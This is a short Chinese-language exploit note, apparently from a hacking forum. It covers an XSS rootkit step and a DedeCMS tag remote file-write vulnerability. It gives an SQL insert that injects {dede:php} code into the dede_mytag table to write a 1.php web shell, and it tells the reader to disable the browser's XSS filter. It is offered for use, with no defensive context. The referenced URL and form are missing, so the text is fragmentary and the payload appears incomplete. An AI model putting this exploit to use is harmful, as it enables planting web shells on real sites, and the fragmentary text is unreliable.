1.复制粘贴下面的URL访问，触发XSS安装XSS ROOTKIT,注意IE8/9等会拦截URL类型的XSS漏洞，需关闭XSS筛选器。

Dedecms织梦 标签远程文件写入漏洞
前题条件，必须准备好自己的dede数据库，然后插入数据： insert into dede_mytag(aid,normbody) values(1,''{dede:php}$fp = @fopen("1.php", \''a\'');@fwrite($fp, \''\'');echo "OK";@fclose($fp);{/dede:php}'');


再用下面表单提交，shell 就在同目录下 1.php。原理自己研究。。。
